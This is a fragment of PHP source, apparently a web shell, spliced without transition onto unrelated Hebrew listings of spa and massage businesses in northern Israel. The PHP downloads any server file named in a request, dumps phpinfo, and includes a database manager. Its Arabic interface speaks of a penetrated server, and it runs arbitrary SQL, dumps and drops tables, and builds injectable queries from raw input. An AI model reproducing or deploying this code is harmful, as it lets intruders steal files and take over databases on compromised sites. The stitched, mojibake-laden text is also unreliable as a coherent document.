-> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; } } function compress(&$filename,&$filedump,$compress) { global $content_encoding; global $mime_type; if ($compress == 'bzip' && @function_exists('bzcompress')) { $filename .= '.bz2'; $mime_type = 'application/x-bzip2'; $filedump = bzcompress($filedump); } else if ($compress == 'gzip' && @function_exists('gzencode')) { $filename .= '.gz'; $content_encoding = 'x-gzip'; $mime_type = 'application/x-gzip'; $filedump = gzencode($filedump); } else if ($compress == 'zip' && @function_exists('gzcompress')) { $filename .= '.zip'; $mime_type = 'application/zip'; $zipfile = new zipfile(); $zipfile -> addFile($filedump, substr($filename, 0, -4)); $filedump = $zipfile -> file(); } else { $mime_type = 'application/octet-stream'; } } function mailattach($to,$from,$subj,$attach) { $headers = "From: $from\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: ".$attach['type']; $headers .= "; name=\"".$attach['name']."\"\r\n"; $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; if(@mail($to,$subj,"",$headers)) { return 1; } return 0; } class my_sql { var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() { switch($this->db) { case 'MySQL': if(empty($this->port)) { $this->port = '3306'; } if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; break; case 'MSSQL': if(empty($this->port)) { $this->port = '1433'; } if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; break; case 'PostgreSQL': if(empty($this->port)) { $this->port = '5432'; } $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; break; } return 0; } function select_db() { switch($this->db) { case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; } return 0; } function query($query) { $this->res=$this->error=''; switch($this->db) { case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) { $this->error = @mysql_error($this->connection); return 0; } else if(is_resource($this->res)) { return 1; } return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) { $this->error = 'Query error'; return 0; } else if(@mssql_num_rows($this->res) > 0) { return 1; } return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) { $this->error = @pg_last_error($this->connection); return 0; } else if(@pg_num_rows($this->res) > 0) { return 1; } return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) { $this->error = 'Query parse error'; } else { if(@ociexecute($this->res)) { if(@ocirowcount($this->res) != 0) return 2; return 1; } $error = @ocierror(); $this->error=$error['message']; } break; } return 0; } function get_result() { $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) { case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; } return 0; } function dump($table) { if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '## Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db) { case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table']; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; } return 1; } function close() { switch($this->db) { case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; } } function affected_rows() { switch($this->db) { case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; } } } if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) { if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; } else { @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); } } if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); } if(isset($_GET['sqlman'])) { session_start(); $action = $HTTP_GET_VARS['action']; $pagemax=20; // Maximum rows displaed per page, change to display more or less rows per page. function show_login($dbnamearray){ $hostdefault="localhost"; echo"\n"; } function dbrestrict(){ if(isset($_SESSION['user'])){ $user=$_SESSION['user']; switch($user){ //Edit these ** values. You can add more case statements. case '**User**': $dbnamearray= array('**dbname**', '**dbname2**', '**dbname**'); break; //end edit values default: $_SESSION['defaltuser']=true; $dbnamearray = array(); $link = connectmysql(); $db_list = mysql_list_dbs($link); //$db_list $cnt = mysql_num_rows($db_list); for ($i =0; $i < $cnt; $i++) { $dbnamearray[$i]= mysql_db_name($db_list, $i); } } return $dbnamearray; } } //*************************************************************** //function showdbs($dbnamearray, $backuppath){ function showdbs($dbnamearray){ //$backuppath=addslashes($backuppath); echo"\n"; for ($i =0; $i < count($dbnamearray); $i++) { echo""; $dbn=$dbnamearray[$i]; $va="ÇáÐåÇÈ Çáì ÞÇÚÏÉ $dbn"; goto(' ', $dbn,$action, 'but', 'db', $va ); $dbs=mysize($dbnamearray[$i],""); echo" $dbs \n"; } echo"
\n"; } //********************* Show Logout Button ********** function endsess(){ echo"\n"; echo" \n"; echo" "; } //******************************************************************** function connectmysql(){ //Connects to the MySQL Database. if (isset($_SESSION['user']) && isset($_SESSION['password'])){ $user = $_SESSION['user']; $pass = $_SESSION['password']; }else{ display_foot(); echo"\n\n"; exit(); } $link = @mysql_connect($_SESSION['host'], $_SESSION['user'], $_SESSION['password']); if(! $link){ echo"\n"; echo"Unable to connect to the database server. "; echo"The Host: $_SESSION[host], ÇÓã ÇáãÓÊÎÏã: $user Çæ Çáßáãå ÇáÓÑíå ÎØÇÁ. "; echo"ÝÖáÇð ÓÌá ÎÑæÌ ááãÍÇæáå ãÑå ÇÎÑì.\n"; echo"
\n"; return false; exit(); } else{ return $link; } } //********************************************************************* function connectdb($db, $link){ if(! mysql_select_db($db,$link)){ echo"Unable to locate database $db. Please try again later.\n"; exit(); } } //********************************************************************* function exequery($sql, $tablename, $db){ $result= @mysql_query( $sql ); if($result){ //echo "Query successful"; return $result; }else{ echo"Sorry your Query failed: $sql error:".mysql_error()."\n"; return false; } } //*************************************************** $fieldtypes = array("BIGINT", "BLOB", "CHAR", "DATE", "DATETIME", "DECIMAL", "DOUBLE", "ENUM", "FLOAT", "INT", "INTEGER", "LONGBLOB", "LONGTEXT", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXT", "NUMERIC", "PRECISION", "REAL","SET", "SMALLINT", "TEXT", "TIME", "TIMESTAMP", "TINYBLOB", "TINYINT", "TINYTEXT", "VARCHAR", "YEAR" ); //****************** Search Form **************************** function searchtableform($tablename, $dbname){ echo"\n"; echo" \n"; echo" \n"; echo" \n"; echo" \n"; echo" \n"; } //********************* Search ************************* function searcht($tablename, $dbname, $searchval){ if(! empty($searchval)){ // $searchval= str_replace(";",' ', $searchval); $result=exequery("Select * from $tablename", $tablename, $dbname); //$result=mysql_query("Select * from $tablename"); $num = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); $whr="where "; $tok=explode(" ",$searchval); for ($t =0; $t < count($tok); $t++){ for ( $c = 0; $c < $num; $c++){ $fn =mysql_field_name($fields, $c); $whr .=" $fn like '%$tok[$t]%' or "; } } $whr=trim(substr_replace($whr, " ", -3)); $query="Select * from $tablename $whr"; $result=exequery($query, $tablename, $dbname); return $result; } } //*********************GOTO buttons************************* //provides a form and button. function goto($tablename, $dbname, $action, $class, $name, $va ){ //Adds a button. echo"\n"; if(! eregi('tablestart', $name)){ echo" \n"; echo" \n"; } echo" \n"; //echo" "; echo" \n"; //echo"$va "; //} } //*********************** ShowDB *********************************** function showdb(){ //function showdb($backuppath){ $link=connectmysql(); if ($link){ echo""; } } //********************** BuildWhr ****************************** //Builds the Where part of queries. function buildwhr($pk, $pv){ $whr=""; $pn =count($pv); for($t =0; $t < $pn; $t++){ $whr.="$pk[$t]='$pv[$t]'"; if($t < $pn-1){ $whr.=" and "; } } if ($whr !=" "){ return $whr; }else{ return false; } } //***********************ADD Record ****************** function addrecord($tablename, $dbname, $array){ $result=exequery("Select * from $tablename", $tablename, $dbname); //$result = @mysql_query( "Select * from $tablename" ); $flds = mysql_num_fields($result); //$fields = mysql_list_fields($dbname, $tablename); $qry=" "; $query = "Insert into $tablename Values( "; for ($x =0; $x < $flds; $x++){ //Multiple Select values for SET if(is_array($array[$x])){ $mval=""; for($m=0; $m < count($array[$x]); $m++){ if($m+1 == count($array[$x])){ $mval.= AddSlashes($array[$x][$m]); }else{ $mval.= AddSlashes($array[$x][$m]).","; } $fval = $mval; } }else{ $fval = AddSlashes($array[$x]); } $qry .= "'$fval'"; if ($x < $flds-1){ $qry.= ", "; } } $query .= $qry.")"; // echo"qry: $qry"; $result=exequery($query, $tablename, $dbname); if($result){ return $result; }else{ return false; } } //**********************ADD Form ********************** function addform($tablename, $dbname){ //Display the field names and input boxes echo"\n"; echo"\n"; echo"Field Name Type Value \n"; $result=exequery("Select * from $tablename", $tablename, $dbname); //$result = @mysql_query( "Select * from $tablename" ); $flds = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); echo" \n"; echo" \n"; echo"\n"; $mxlen = 80;//max width of the form fields. for($i=0; $i < $flds; $i++){ $auto = "false"; echo "".mysql_field_name($fields, $i); $fieldname = mysql_field_name($fields, $i); // added $type = mysql_field_type($result, $i); $flen = mysql_field_len($result, $i);//length of the field $flagstring = mysql_field_flags ($result, $i); // Start of new code for set drop down $newsql = "show columns from $tablename like '%".$fieldname."'"; $newresult = exequery($newsql, $tablename, $dbname); //mysql_query($newsql) or die ('I cannot get the query because: ' . mysql_error()); $arr=mysql_fetch_array($newresult); // End of new code block for set drop down if (eregi("primary",$flagstring )){ $type .= " PK "; } if(eregi("auto",$flagstring )){ $type .= " auto_increment"; $auto = "true"; } if ($auto=="true"){ echo" $type \n"; }elseif($flen > $mxlen){ $rws= $flen/$mxlen; if($rws>10){ $rws=10; //max length of textarea } echo"$type \n"; // Start of new code for set drop down }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum $num=substr_count($arr[1],',') + 1; // count the number of entries $pos=strpos($arr[1],'(' ); //find the position of '(' $newstring=substr($arr[1],$pos+1); // get rid of the '???(' $snewstring=str_replace(')','',$newstring); // get rid of the last ')' $nnewstring=explode(',',$snewstring,$num); // stick into an array if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values echo "Set (select one or more) "; echo""; }else{//Enum one value only echo "Enum "; echo""; } for($y=0; $y<$num;$y++){ echo"$nnewstring[$y]"; } echo" \n"; // End of new code block for set drop down }else{ echo"$type \n"; } } echo" \n"; echo" \n"; echo" "; echo"
\n"; echo" \n"; } //*********************Edit Form *************** function editform($tablename, $dbname, $result, $edit, $pk, $pv){ $row=mysql_fetch_array($result); echo"\n"; echo"\n"; $flds = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); echo" \n"; echo" \n"; echo""; $mxlen = 80;//max width of the form fields for($i=0; $i < $flds; $i++){ $fname=mysql_field_name($fields, $i); echo "$fname"; $flen = mysql_field_len($result, $i);//length of the field $nslash = StripSlashes($row[$i]); // Start of new code for set drop down $newsql = "show columns from $tablename like '%".$fname."'"; $newresult = exequery($newsql, $tablename, $dbname); $arr=mysql_fetch_array($newresult); // End of new code block for set drop down if($flen > $mxlen){ $rws= $flen/$mxlen; if($rws>10){ $rws=10; //max length of textarea } echo" $nslash \n"; // Start of new code for set drop down }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum $num=substr_count($arr[1],',') + 1; // count the number of entries $pos=strpos($arr[1],'(' ); //find the position of '(' $newstring=substr($arr[1],$pos+1); // get rid of the '???(' $snewstring=str_replace(')','',$newstring); // get rid of the last ')' $nnewstring=explode(',',$snewstring,$num); // stick into an array if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values echo""; }else{//Enum one value only echo""; } $nsel=explode(",",$nslash); for($y=0; $y<$num;$y++){ //geteach value 'a,b,c' $sel=""; for($e=0; $e$nnewstring[$y]"; } echo" \n"; // End of new code block for set drop down }else{ echo" \n"; } for($f =0; $f< count($pk);$f++){ echo" "; echo" \n"; } } echo" \n"; echo" \n"; echo" "; echo"
\n"; echo" \n"; } //************************Edit Record************************* function editrec($dbname, $tablename, $pk, $pv, $array){ //$result = @mysql_query( "Select * from $tablename" ); $result = exequery("Select * from $tablename", $tablename, $dbname); $flds = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); //Build Query $qry=""; $query = "UPDATE $tablename set "; for ($x =0; $x < $flds; $x++){ $fie = mysql_field_name($fields, $x ); // SET and ENUM if(is_array($array[$x])){ $mval=""; for($m=0; $m < count($array[$x]); $m++){ if($m+1 == count($array[$x])){ $mval.= AddSlashes($array[$x][$m]); }else{ $mval.= AddSlashes($array[$x][$m]).","; } $fval = $mval; } }else{ $fval = AddSlashes($array[$x]); } //************************** //$fval = AddSlashes($array[$x]); $qry .= "$fie = '$fval'"; if ($x < $flds-1){ $qry.= ", "; } } $whr = buildwhr( $pk, $pv); $whr =StripSlashes($whr); $query .= "$qry"; $query .= " where $whr"; $result=exequery($query, $tablename, $dbname); if($result){ return $result; }else{ return false; } } //****************** Number of Primary Keys *********************** function numpk($result){ $z =0; for ($i = 0; $i < $flds; $i++) { //Find the primary key $flagstring = mysql_field_flags ($result, $i); if(eregi("primary",$flagstring )){ $z++; } } return $z; } //********************Size field***************** function fieldformsize($ft, $i, $l){ $ft= trim(strtoupper($ft)); if($ft =="DATE" || $ft=="TIME" || $ft== "DATETIME" ){ }elseif( $ft=="TINYTEXT" || $ft=="BLOB" || $ft=="TEXT" || $ft =="MEDIUMBLOB"){ echo" "; }elseif($ft=="MEDIUMTEXT" || $ft=="LONGBLOB"|| $ft=="LONGTEXT" || $ft=="TINYBLOB"){ echo" "; }elseif($ft=="INT" || $ft=="TINYINT"|| $ft=="SMALLINT"|| $ft=="MEDIUMINT"|| $ft=="BIGINT" || $ft=="INTEGER"){ echo" "; }elseif($ft=="YEAR" ){ echo""; echo"4"; echo" 2"; echo" \n"; }elseif($ft=="SET"|| $ft=="ENUM"){ echo" "; }else{ echo" \n"; } } //******************************Display Row ****************************** function displayrow($dbname, $tbl, $pk, $pkfield, $cpk, $row, $flds){ $pkfs=""; $hv=""; $hf=""; if($cpk >0 && !empty($pkfield)){ for($a = 0; $a < $cpk; $a++){ $fieldn = $pkfield[$a]; $hf .= " "; $hv .= " "; } }else{ //No Primary Key so use all fields $fields = mysql_list_fields($dbname, $tbl); for($b = 0; $b < $flds; $b++){ $fie = mysql_field_name($fields, $b ); $hf .= " "; $hv .= " "; } } echo" \n"; //edit Record echo"\n"; echo" \n"; echo" \n"; echo" \n"; echo"$hf"; echo"$hv"; echo" \n"; echo" \n"; //Delete record echo"\n"; echo" \n"; echo" \n"; echo" \n"; echo"$hf"; echo"$hv"; echo" \n"; echo" "; //Display all the columns. for($col = 0; $col < $flds; $col ++){ $nslash = StripSlashes($row[$col]); echo"$nslash "; } echo" "; } //***********************Remove Array Copy******************************** //removes copies from an array $x. function removearraycopy($x){ $leng= count($x); sort($x); $farr=array(); for ($i =0; $i < $leng; $i++){ $flag=false; for ($s =0; $s < count($farr); $s++){ if($x[$i]==$farr[$s]){ $flag=true; } } if ($flag == false){ $farr[count($farr)] = $x[$i]; } } return $farr; } //***********************<< page position >>******************************** function whichpage($num_rows, $pagemax, $pg, $tablename, $searchval){ $pgs = $num_rows/$pagemax; $pgs=ceil($pgs); //round up the number of pages. echo"\n"; echo"Total number of records $num_rows, displayed on $pgs pages of \n"; echo" \n"; echo" \n"; echo" \n"; echo"records per page. \n"; $pagescrol=""; $sval=""; if($pgs >1){ $pagescrol="\n"; } return $pagescrol; } //*************Display Footer************************* //Please don't remove or change. function display_foot(){ echo""; } //*************My Size************************* //Returns the size of a table or database function mysize($dbname, $tablename){ $like=""; $total=""; $t=0; if($tablename !=""){ $like=" like '$tablename'"; } $sql= "SHOW TABLE STATUS FROM $dbname $like"; //$result = mysql_query($sql); $result=exequery($sql, $tablename, $dbname); if($result){ while($rec = mysql_fetch_array($result)){ $t+=($rec['Data_length'] + $rec['Index_length']); } $total ="$t bytes "; }else{ $total="Unknowen"; } return($total); } //************************************** //DEBUG to show all being passed to the page function showpassingvars(){ echo"Get: "; foreach($_GET as $pram=>$value){ echo"$pram: $value, "; } echo" Post: "; foreach($_POST as $pram=>$value){ echo"$pram: $value, "; } echo" Session: "; foreach($_SESSION as $pram=>$value){ echo"$pram: $value, "; } } echo"\n"; echo" \n"; echo"\n"; echo"ÓßÑÈÊ ÇáÇÊÕÇá ÈÞæÇÚÏ ÇáÈíÇäÇÊ \n"; echo"\n"; echo" "; echo"ÓßÑÈÊ ÇáÇÊÕÇá ÈÞæÇÚÏ ÇáÈíÇäÇÊ \n"; echo" "; echo" "; echo" "; echo" \n"; echo"\n"; echo"\n"; $showall=true; echo"ÓßÑÈÊ ÇáÇÊÕÇá ÈÞæÇÚÏ ÇáÈíÇäÇÊ \n"; //******************* Session Logon *********************** if(isset($_POST['logout'])){ $_POST['dbname']=""; session_unset(); session_destroy(); } if(isset($_POST['userid']) && isset($_POST['pword1'])){ $_SESSION['user'] = $_POST['userid']; $_SESSION['password'] = $_POST['pword1']; } if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){ echo""; echo"
ÇÏÎá ÈíÇäÇÊ ÇáÓíÑÝÑ ÇáãÎÊÑÞ \n"; If(!isset($dbnamearray)){ $dbnamearray=""; } show_login($dbnamearray); echo""; }else{ //show logout option. echo""; endsess(); echo"
"; } //*****dbname if(isset($_POST['dbname'])){ $dbname=$_POST['dbname']; $_SESSION['dbname']= $_POST['dbname']; } //***** Host if(isset($_POST['host'])){ $host=$_POST['host']; $_SESSION['host']=$_POST['host']; } //******set tablename if(isset($_GET['tablename']) ){ $tablename=$_GET['tablename']; }elseif(isset($_POST['tablename'])){ $tablename=$_POST['tablename']; } //********** pagemax if(isset($_POST['pagemax'])){ //&& is_int($_POST['pagemax'])){ $isnum=true; for($o=0; $o9){ $isnum=false; } } if($_POST['pagemax']>0 && $isnum){ $_SESSION['pagemax']=$_POST['pagemax']; } } if(isset($_SESSION['pagemax'])){ $pagemax=$_SESSION['pagemax']; } //******** create a new Database ************ if(isset($_POST['cndb'])){ connectmysql(); $sql="create database $_POST[ndbname]"; $result=exequery($sql, " ", $_POST['ndbname']); if ($result){ $_SESSION['dbname'] = $_POST['ndbname']; $sql="Use $_POST[ndbname]"; $result=exequery($sql, " ", $_POST['ndbname']); if($result){ echo"ÞÇÚÏÉ ÌÏíÏÉ $_SESSION[dbname] \n"; } } } //********************************************* if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset($_SESSION['user'])){ //*********post //Databse names showdb(); } //************************ Choose DB ************* if(isset($_POST['dbname']) && $_POST['dbname']==""){ showdb(); } //********** if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){ //************************************* //connection if (isset($_SESSION['dbname'])){ $dbsetname = $_SESSION['dbname']; }elseif(isset($_POST['dbname'])){ $dbsetname = $_POST['dbname']; $_SESSION['dbname'] = $_POST['dbname']; }else{ $dbsetname = $_POST['dbna']; $_SESSION['dbname'] = $_POST['dbna']; } } //*************************** we have a DB set if(isset($dbsetname) && $dbsetname!=""){ $link= connectmysql(); //echo"DBS: $dbsetname"; $conn = connectdb($dbsetname, $link); //*********** Drop Table ************** if(isset($_POST['deltable'])){ $showall=false; $tablename=$_POST['tablename']; echo"!!! ÊÍÐíÑ !!! ÇäÊ ÊÍÇæá ãÓÍ åÐÇ ÇáÌÏæá $tablename "; echo"åá ÇäÊ ãÊÇßÏ ãä ÇáÞíÇã ÈÇáÚãáíå¿? \n"; $va="Drop $tablename"; goto($tablename, $dbname,$action, 'del', 'droptab', $va ); } if(isset($_POST['droptab'])){ $tablename=$_POST['tablename']; $dsql = "drop table $tablename"; $result=exequery($dsql, $tablename, $dbname); unset($tablename); //="false"; unset($_POST['tablename']); } //*****************Write Your Own Query ***************** if(isset($_POST['wyoq'])){ //post $value="ÇáæÇÌåå ÇáÑÆíÓíå ááÓßÑÈÊ"; goto($tablename, $dbname, $action, 'but', 'start', $value ); echo"\n"; echo" \n"; //echo" \n"; echo" \n"; echo" \n"; echo" \n"; } if(isset($_POST['runquery'])){ $wyoqta = StripSlashes($_POST['wyoqta']); $result=exequery($wyoqta, " ", " "); if(@mysql_num_rows($result) >0){ $numrows=mysql_num_rows($result); $flds=mysql_num_fields($result); echo""; for($r=0; $r < $numrows; $r++){ echo""; $row=mysql_fetch_array($result); for($col = 0; $col < $flds; $col ++){ $nslash = StripSlashes($row[$col]); echo"$nslash "; } echo" "; } echo"
"; }elseif (mysql_affected_rows()){ echo" Number of Rows affected: ".mysql_affected_rows(); }else{ echo" Nothing returned from the query."; } } // ****************List Tables*************************** if( ! isset($tablename) || $tablename==" " ){ $dbname=$_SESSION['dbname']; $result = mysql_list_tables($_SESSION['dbname']); $numtab = mysql_num_rows ($result); if($numtab == 1){ $_SESSION['tablename'] =mysql_tablename($result, 0); } //***************** Buttons ****************************** if (isset($_POST['runquery'])){ $dbname=$_SESSION['dbname']; $value="$dbname Start"; //Table Manager Start goto("", $_SESSION['dbname'], $action, 'but', 'tablestart', $value ); }elseif (! isset($_POST['wyoq']) && ! isset($_POST['runquery'])){ //write your own query. echo"\n"; echo""; $va="ÅäÔÇÁ ÌÏæá ÌÏíÏ"; goto("", $_SESSION['dbname'], "create.php", 'but', 'create', $va ); // echo"Create new Table \n"; echo" "; $value="ÇáæÇÌåå ÇáÑÆíÓíå"; //Choose DB goto("", "", $action, 'but', 'db', $value ); echo" \n"; $value="Write Your Own Query"; goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value ); echo" "; echo"
"; echo"\n"; for ($i =0; $i < $numtab; $i++) { $tb_names[$i] = mysql_tablename($result, $i); echo"\n"; $va="ÚÑÖ ÌÏæá * $tb_names[$i]"; goto($tb_names[$i], $_SESSION['dbname'],$action, 'but', $tb_names[$i], $va ); echo" \n"; $va="ãÓÍ ÌÏæá $tb_names[$i]";
צור קשר קופון לאתר 050-2999242
טיפולים עד הצימר
גורן
ספא בגורן
"ספא בגורן"
אם כבר לצאת לחופשה בגליל, אז כבר לשלב מנוחה ופינוק עם ...
צור קשר קופון לאתר 052-3751405
טיפולים עד הצימר
גליל מערבי סודות העיסוי בצפון
סודות העיסוי בצפון
צוות מקצועי מנצח וקשוב של טובי המטפלים שמגיע...
צור קשר
קופון
לאתר
טלפון
סוג
מיקום
רמת הגולן
לאתר 050-6320121 נוגה
טיפולים עד הצימר
רמות
טעמים - ארוחות בוקר כפריות
"טעמים" - להתעורר לחגיגה של טעמים וריחות... ...
צור קשר קופון לאתר 04-6795184
טיפולים עד הצימר
רמות
מרגיע לך
אנו מזמינים אתכם לחוויה מקומית של שמנים ריחניים בטיפול ארומטי,
עיסו...
צור קשר
קופון
לאתר
טלפון
סוג
מיקום
כנרת והעמקים
צור קשר קופון לאתר 04-6759200
טיפולים עד הצימר
כנרת (קבוצה)
אומנות המגע
אנו חיים בעידן המודרני ואורח חיינו די מוכתב מקצב מהיר ולחוץ המגיע ממגו...
צור קשר
קופון
לאתר
טלפון
סוג
מיקום
גליל עליון
קופון לאתר 04-6989054
טיפולים עד הצימר
אמירים
מגע חלומי - ספא צימרים
מגע חלומי - קוסמטיקה אחרת.
דליה גוטרזון מזמינה אתכם להתפנק במבחר טיפו...
צור קשר קופון לאתר 052-8786618 שושו
טיפולים עד הצימר
ראש פינה
עוצמת המגע
מבחר עיסויים וטיפולים להנאתכם:
* שוודי קלאסי * ארומתרפיה * ...
קופון לאתר 050-5332149
טיפולים עד הצימר
אמירים
ספא ביער באמירים
ספא ביער באמירים
אם הצפון הוא חלום, אז ספא ביער שבאמירים הו...
צור קשר קופון לאתר 050-270-2015
טיפולים עד הצימר
חצור הגלילית
עיסוי ברמה אחרת
דליה, מטפלת הוליסטית מקצועית מוסמכת, עם ניסיון ש...